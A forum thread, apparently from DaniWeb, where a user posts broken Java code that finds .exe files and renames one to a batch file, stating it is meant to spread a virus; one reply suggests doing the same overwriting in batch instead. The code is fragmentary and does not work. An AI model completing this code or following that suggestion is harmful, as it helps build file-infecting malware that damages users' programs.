help me in this code ..
it is not work ..

    public static void CreateFile() throws IOException {
        File f;
        f = new File("myfile.bat");
        if (!f.exists()) {
            System.out.println("New file \"myfile.bat\"has been created");


    public static void getFiles(String path) {
        File dir = new File(path);
        String[] children = dir.list();
        if (children != null) {
            for (int i = 0; i < children.length; i++) {

                String filename = children[i];
                File file = new File(path + File.separator + filename);
                if (!file.isDirectory()) {
                    if (file.getName().endsWith(".exe")) {
                        System.out.println("File Name " + filename + "(" + file.length() + " bytes)");
                } else {
                    getFiles(path + File.separator + filename);


    public static void RenameFile() {

        File oldfile = new File("RunningSheep.exe");
        File newfile = new File("myfile.bat");

        if (oldfile.renameTo(newfile)) {
            System.out.println("Rename Succesful");

        } else {
            System.out.println("Renme faild");

Recommended Answers

All 9 Replies

Please explain what happens when the code is executed, post the console output and explain what you want the code to do.

when I run it tells that there is no main method ..

and this code do that >> attaching the virus to other applications via batch files. The virus should identify a victim application (any file that ends with .exe), then the virus will attach itself to the application via creating a batch file.

it tells that there is no main method

If you want to start the execution of a class using the java command, that class must have a main() method.

how i can do that ?

Use the editor and change the source file.

Hmmm...infection of exe's is way more complex then simply attaching a batch script to an exe... unless you delete the exe and give the batch the same name but thats just a simple overwriting virus. I wouldnt be mixing languages as you are because it doesnt really help, just use batch because if you simply want to overwrite and rename etc batch can do what you have done in java in only 10 lines max. thats just a suggestion.

how i can delete this article?

Member Avatar

You can't. You do not provide a good reason for doing so and as other members have made a contribution, I doubt very much whether the site admins would agree to a deletion.

it's fine ..

Be a part of the DaniWeb community

We're a friendly, industry-focused community of developers, IT pros, digital marketers, and technology enthusiasts meeting, learning, and sharing knowledge.